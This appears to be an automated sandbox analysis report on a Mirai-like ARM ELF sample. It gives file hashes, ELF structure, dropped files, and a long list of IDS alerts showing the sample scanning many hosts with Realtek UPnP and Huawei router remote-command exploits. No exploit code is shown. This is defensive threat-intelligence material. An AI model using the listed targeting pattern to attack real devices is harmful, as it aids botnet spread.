	jew.mpsl.elf	Get hash	malicious	Unknown	Browse	182.165.110.206
	ikFn0h3xhF.elf	Get hash	malicious	Mirai	Browse	119.228.168.81
	103.162.20.166-sora.arm6-2024-06-28T11_40_37.elf	Get hash	malicious	Mirai	Browse	119.231.103.83
	s4WsI8Qcm4.elf	Get hash	malicious	Mirai, Moobot	Browse	60.57.202.187
	botx.mips.elf	Get hash	malicious	Mirai	Browse	160.233.146.153

Process:	/tmp/faBNhIKHq4.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.1219280948873624
Encrypted:	false
SSDEEP:	3:TgKd8G:TgKd8G
MD5:	19E2DC1E34D98974165E83A637EA8607
SHA1:	823676B3F66B99921640256B1C1BE125BD74343E
SHA-256:	72A6392F095B338C66CEF3692A32E32AA3D8E410C470C53E2A59330982D6BECC
SHA-512:	43993CA3D5F3260E3FA145A355EABF37C6E8AE48497F20C0E8EBFAE1805695745544EB8F792547A4164F693603D548E00A39FA20E536ECDA00799FD84A9FDC7B
Malicious:	false
Reputation:	low
Preview:	/tmp/faBNhIKHq4.elf.

/tmp/qemu-open.jOBQMS (deleted)

Download File

Process:	/tmp/faBNhIKHq4.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.1219280948873624
Encrypted:	false
SSDEEP:	3:TgKd8G:TgKd8G
MD5:	19E2DC1E34D98974165E83A637EA8607
SHA1:	823676B3F66B99921640256B1C1BE125BD74343E
SHA-256:	72A6392F095B338C66CEF3692A32E32AA3D8E410C470C53E2A59330982D6BECC
SHA-512:	43993CA3D5F3260E3FA145A355EABF37C6E8AE48497F20C0E8EBFAE1805695745544EB8F792547A4164F693603D548E00A39FA20E536ECDA00799FD84A9FDC7B
Malicious:	false
Reputation:	low
Preview:	/tmp/faBNhIKHq4.elf.

/tmp/qemu-open.rcMirJ (deleted)

Download File

Process:	/tmp/faBNhIKHq4.elf
File Type:	data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.536286231168866
Encrypted:	false
SSDEEP:	3:TgKd8EqpWOJn:TgKd8EQ
MD5:	E9B50B0ED76B69FFB548FC2D29D59F6F
SHA1:	0B5A0A92F818A6336FF53BBD2E2C6BA2928EFD56
SHA-256:	C53D771DE7EC709C9A61CB2D7FBCB1808AC5BD383CA617B653F8793A0A71A35A
SHA-512:	8EB797DFA32C3021557C379C535FBF12369CDA6FBB288F448548407BFFA2E1C8FF5198269A84BCA9EC96F4451E46673D1182ADE3DE3DD300CFA9F8F7E9E34A2E
Malicious:	false
Reputation:	low
Preview:	/tmp/faBNhIKHq4.elf./tmp/owfrxsjybl

/tmp/qemu-open.xwpK8U (deleted)

Download File

Process:	/tmp/faBNhIKHq4.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.1219280948873624
Encrypted:	false
SSDEEP:	3:TgKd8G:TgKd8G
MD5:	19E2DC1E34D98974165E83A637EA8607
SHA1:	823676B3F66B99921640256B1C1BE125BD74343E
SHA-256:	72A6392F095B338C66CEF3692A32E32AA3D8E410C470C53E2A59330982D6BECC
SHA-512:	43993CA3D5F3260E3FA145A355EABF37C6E8AE48497F20C0E8EBFAE1805695745544EB8F792547A4164F693603D548E00A39FA20E536ECDA00799FD84A9FDC7B
Malicious:	false
Reputation:	low
Preview:	/tmp/faBNhIKHq4.elf.

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	5.759644882713048
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	faBNhIKHq4.elf
File size:	163'904 bytes
MD5:	62d53c7ec4c2752331182c31d8176b47
SHA1:	312d29a7d5949df5fa005a40e7bca89c59cb0f2c
SHA256:	f36cf9f570a3d59a4bc0942b1e6cfde4faf83586ca5b9ba20c0b1f0d91c4868d
SHA512:	818108efcf1474cfcc0ebb29385e66e4b2f98a6f24f12da8f38d78b577d8f4e107989adfd369b9ba2d32feed3c3b55a8e65ccef62956e7575d5298d5bd0dd34d
SSDEEP:	3072:GjGNGb75OOAdal+7ZU+i78ejIlFJ54ta7LdvRnP417Ayqi0:GjCUHjqT54tcLNRPS7Ayqh
TLSH:	69F31845FC515B22C6C612BBFB5E428D3B2A17E8D3EE7103AD255F24378A85B0E37642
File Content Preview:	.ELF...a..........(.........4....~......4. ...(.....................@5..@5..............D5..D5..D5..,I..............Q.td..................................-...L."....~..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	163504
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x1fa70	0x0	0x6	AX	16
.fini	PROGBITS	0x27b20	0x1fb20	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x27b34	0x1fb34	0x3a0c	0x0	0x2	A	4
.ctors	PROGBITS	0x33544	0x23544	0xc	0x0	0x3	WA	4
.dtors	PROGBITS	0x33550	0x23550	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x33560	0x23560	0x4910	0x0	0x3	WA	32
.bss	NOBITS	0x37e70	0x27e70	0xc794	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x27e70	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x23540	0x23540	6.1755	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x23544	0x33544	0x33544	0x492c	0x110c0	0.4134	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/20/24-23:01:41.463722	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46604	52869	192.168.2.23	204.152.123.98
07/20/24-23:01:46.955966	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55862	52869	192.168.2.23	161.89.104.148
07/20/24-23:01:03.930422	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55040	52869	192.168.2.23	111.252.253.89
07/20/24-23:01:32.076593	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45364	37215	192.168.2.23	197.76.87.111
07/20/24-23:01:13.282996	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57500	52869	192.168.2.23	211.27.252.180
07/20/24-23:01:45.122550	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47904	52869	192.168.2.23	191.68.229.244
07/20/24-23:01:02.076414	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53600	37215	192.168.2.23	41.131.89.154
07/20/24-23:01:20.132511	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40818	37215	192.168.2.23	157.63.12.48
07/20/24-23:01:08.659435	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52838	52869	192.168.2.23	4.194.116.48
07/20/24-23:01:02.422228	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57522	52869	192.168.2.23	104.178.230.186
07/20/24-23:01:41.318733	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55298	52869	192.168.2.23	102.22.43.107
07/20/24-23:01:48.965786	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58068	52869	192.168.2.23	42.135.139.61
07/20/24-23:01:42.944606	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38246	52869	192.168.2.23	24.28.111.138
07/20/24-23:01:02.724151	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41746	52869	192.168.2.23	115.161.142.144
07/20/24-23:01:45.432263	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53548	52869	192.168.2.23	204.16.50.125
07/20/24-23:01:47.808678	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51954	52869	192.168.2.23	133.83.21.166
07/20/24-23:01:02.054387	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51388	37215	192.168.2.23	131.154.57.89
07/20/24-23:01:42.549328	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52160	52869	192.168.2.23	220.250.27.9
07/20/24-23:01:24.724267	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42848	52869	192.168.2.23	75.178.59.59
07/20/24-23:01:42.928503	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59858	52869	192.168.2.23	167.230.66.89
07/20/24-23:02:02.601575	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57282	52869	192.168.2.23	19.154.207.41
07/20/24-23:00:57.222523	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49446	37215	192.168.2.23	199.229.94.109
07/20/24-23:01:49.555689	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35016	52869	192.168.2.23	147.48.69.29
07/20/24-23:01:04.114673	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35562	37215	192.168.2.23	41.54.147.121
07/20/24-23:01:34.050672	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50482	37215	192.168.2.23	197.124.62.106
07/20/24-23:01:20.126052	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38742	37215	192.168.2.23	157.202.161.192
07/20/24-23:01:42.914230	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52386	52869	192.168.2.23	67.74.166.37
07/20/24-23:01:46.439689	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35164	52869	192.168.2.23	165.21.55.96
07/20/24-23:01:00.637175	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56940	37215	192.168.2.23	41.144.198.102
07/20/24-23:01:05.126622	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42544	52869	192.168.2.23	174.56.72.194
07/20/24-23:01:08.559170	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45648	52869	192.168.2.23	206.208.92.27
07/20/24-23:01:27.658221	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58944	37215	192.168.2.23	41.116.229.3
07/20/24-23:01:52.720668	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45442	52869	192.168.2.23	49.245.141.79
07/20/24-23:02:11.380126	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47888	52869	192.168.2.23	130.112.45.111
07/20/24-23:01:41.912337	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42548	52869	192.168.2.23	35.204.82.212
07/20/24-23:01:20.150638	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55948	37215	192.168.2.23	197.57.93.26
07/20/24-23:01:31.317668	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35010	52869	192.168.2.23	181.111.14.150
07/20/24-23:01:44.611556	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47134	52869	192.168.2.23	57.16.142.227
07/20/24-23:01:44.405053	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33808	52869	192.168.2.23	153.201.149.50
07/20/24-23:01:02.119631	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47984	37215	192.168.2.23	197.253.103.224
07/20/24-23:01:42.751824	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37240	52869	192.168.2.23	107.79.192.172
07/20/24-23:01:52.343511	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52950	52869	192.168.2.23	184.89.50.234
07/20/24-23:02:09.668312	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45842	52869	192.168.2.23	175.222.148.23
07/20/24-23:01:44.338159	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55568	52869	192.168.2.23	53.50.131.136
07/20/24-23:01:42.187124	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36010	52869	192.168.2.23	186.68.76.128
07/20/24-23:01:44.895849	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51438	52869	192.168.2.23	120.63.90.68
07/20/24-23:01:52.546535	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45056	52869	192.168.2.23	38.184.175.46
07/20/24-23:01:41.389908	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58454	52869	192.168.2.23	170.207.21.198
07/20/24-23:01:08.588009	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43106	52869	192.168.2.23	104.152.150.214
07/20/24-23:01:02.045685	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33838	37215	192.168.2.23	41.101.142.15
07/20/24-23:01:11.820979	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49194	37215	192.168.2.23	108.25.203.240
07/20/24-23:01:41.286911	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56910	52869	192.168.2.23	174.56.140.249
07/20/24-23:01:20.096752	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37104	37215	192.168.2.23	48.147.199.167
07/20/24-23:01:43.380019	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52180	52869	192.168.2.23	108.216.198.203
07/20/24-23:01:08.595072	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57374	52869	192.168.2.23	162.117.132.232
07/20/24-23:01:41.345953	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45422	52869	192.168.2.23	219.124.32.18
07/20/24-23:01:47.966822	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41232	52869	192.168.2.23	171.220.105.123
07/20/24-23:01:25.002144	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41796	52869	192.168.2.23	178.214.207.137
07/20/24-23:01:44.175701	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38730	52869	192.168.2.23	190.104.185.79
07/20/24-23:01:41.354322	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35380	52869	192.168.2.23	125.246.56.225
07/20/24-23:01:27.660100	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40954	37215	192.168.2.23	171.152.33.197
07/20/24-23:01:41.456456	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51624	52869	192.168.2.23	131.22.29.107
07/20/24-23:01:04.082385	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57988	37215	192.168.2.23	197.33.104.96
07/20/24-23:01:24.883171	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33146	37215	192.168.2.23	108.136.107.241
07/20/24-23:01:04.098909	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46330	37215	192.168.2.23	41.250.23.107
07/20/24-23:01:24.944299	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60742	37215	192.168.2.23	197.252.66.96
07/20/24-23:01:04.244899	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45032	37215	192.168.2.23	140.185.125.173
07/20/24-23:01:52.428503	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33086	52869	192.168.2.23	52.24.218.23
07/20/24-23:01:42.839255	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51086	52869	192.168.2.23	145.203.252.98
07/20/24-23:01:04.118165	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33562	37215	192.168.2.23	157.254.221.242
07/20/24-23:01:13.047601	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42960	52869	192.168.2.23	47.250.162.49
07/20/24-23:01:49.271801	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54610	52869	192.168.2.23	88.29.47.240
07/20/24-23:01:02.349095	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34796	52869	192.168.2.23	171.201.20.41
07/20/24-23:01:04.757513	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35420	52869	192.168.2.23	68.46.168.107
07/20/24-23:01:24.889164	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58690	37215	192.168.2.23	157.128.212.188
07/20/24-23:01:43.697010	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40076	52869	192.168.2.23	138.38.220.62
07/20/24-23:02:05.311710	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46826	52869	192.168.2.23	47.224.141.66
07/20/24-23:01:52.740670	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37902	52869	192.168.2.23	20.232.50.163
07/20/24-23:01:01.139063	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43466	52869	192.168.2.23	189.75.86.189
07/20/24-23:01:27.651332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57076	37215	192.168.2.23	197.216.140.107
07/20/24-23:01:46.810790	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45350	52869	192.168.2.23	169.129.60.246
07/20/24-23:01:59.992285	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37240	52869	192.168.2.23	86.115.200.136
07/20/24-23:01:00.638418	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38424	37215	192.168.2.23	41.90.83.142
07/20/24-23:01:56.091033	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52910	52869	192.168.2.23	217.227.78.54
07/20/24-23:01:20.124695	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42546	37215	192.168.2.23	46.121.151.152
07/20/24-23:01:47.818739	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44594	52869	192.168.2.23	93.74.58.220
07/20/24-23:01:08.621030	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40042	52869	192.168.2.23	137.195.128.162
07/20/24-23:01:27.651332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60160	37215	192.168.2.23	130.180.210.230
07/20/24-23:01:20.593640	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50794	52869	192.168.2.23	90.205.64.234
07/20/24-23:01:45.148866	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41282	52869	192.168.2.23	208.111.2.186
07/20/24-23:00:59.191389	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55620	37215	192.168.2.23	157.113.182.239
07/20/24-23:01:45.331813	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35310	52869	192.168.2.23	148.216.25.247
07/20/24-23:01:50.257796	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41528	52869	192.168.2.23	87.152.13.65
07/20/24-23:01:45.519460	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36476	52869	192.168.2.23	147.236.68.25
07/20/24-23:01:12.888802	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52984	52869	192.168.2.23	62.245.86.200
07/20/24-23:01:57.885722	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55240	52869	192.168.2.23	99.190.226.142
07/20/24-23:01:02.046626	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54748	37215	192.168.2.23	82.113.201.213
07/20/24-23:01:41.303421	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50492	52869	192.168.2.23	68.175.73.118
07/20/24-23:01:45.580167	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40960	52869	192.168.2.23	75.147.225.215
07/20/24-23:02:01.681802	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49888	52869	192.168.2.23	190.157.219.101
07/20/24-23:01:40.334934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35780	37215	192.168.2.23	157.69.245.123
07/20/24-23:01:06.957274	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40786	37215	192.168.2.23	157.246.19.232
07/20/24-23:01:04.064240	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44422	37215	192.168.2.23	157.131.49.54
07/20/24-23:01:46.072415	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49980	52869	192.168.2.23	92.210.119.212
07/20/24-23:01:52.976222	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49862	52869	192.168.2.23	87.107.52.197
07/20/24-23:01:20.175900	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33096	37215	192.168.2.23	197.118.77.21
07/20/24-23:01:00.639011	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50384	37215	192.168.2.23	41.203.224.247
07/20/24-23:00:57.222229	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54738	37215	192.168.2.23	41.9.160.205
07/20/24-23:01:42.692028	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57984	52869	192.168.2.23	12.110.126.98
07/20/24-23:01:04.053605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38846	37215	192.168.2.23	157.57.185.177
07/20/24-23:01:42.651912	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33732	52869	192.168.2.23	131.104.254.70
07/20/24-23:01:10.633889	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54264	52869	192.168.2.23	57.137.225.59
07/20/24-23:01:40.290003	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44010	37215	192.168.2.23	220.248.218.41
07/20/24-23:02:05.544188	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33672	52869	192.168.2.23	108.147.254.33
07/20/24-23:01:03.215254	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42804	52869	192.168.2.23	177.27.5.34
07/20/24-23:01:41.165469	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58744	52869	192.168.2.23	118.130.245.154
07/20/24-23:01:50.395253	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56002	52869	192.168.2.23	98.196.109.144
07/20/24-23:00:57.220999	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41094	37215	192.168.2.23	157.66.238.102
07/20/24-23:01:27.749737	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52906	37215	192.168.2.23	218.132.145.180
07/20/24-23:01:08.597662	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55010	52869	192.168.2.23	139.37.94.236
07/20/24-23:01:27.729822	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47494	37215	192.168.2.23	157.212.32.19
07/20/24-23:01:01.861410	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55224	52869	192.168.2.23	162.63.105.168
07/20/24-23:01:46.407113	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39946	52869	192.168.2.23	150.76.139.116
07/20/24-23:01:31.320679	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60890	52869	192.168.2.23	79.157.163.186
07/20/24-23:01:02.070492	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36886	37215	192.168.2.23	157.180.36.121
07/20/24-23:01:44.841232	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57342	52869	192.168.2.23	158.186.31.24
07/20/24-23:01:41.974742	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54378	52869	192.168.2.23	212.24.31.41
07/20/24-23:01:46.661049	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58624	52869	192.168.2.23	165.29.53.230
07/20/24-23:01:27.749737	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47098	37215	192.168.2.23	197.163.214.36
07/20/24-23:01:44.862542	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44990	52869	192.168.2.23	169.129.60.246
07/20/24-23:01:44.996260	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58652	52869	192.168.2.23	50.61.91.2
07/20/24-23:01:06.990165	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44634	37215	192.168.2.23	197.78.251.102
07/20/24-23:01:47.987185	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34106	52869	192.168.2.23	140.138.195.141
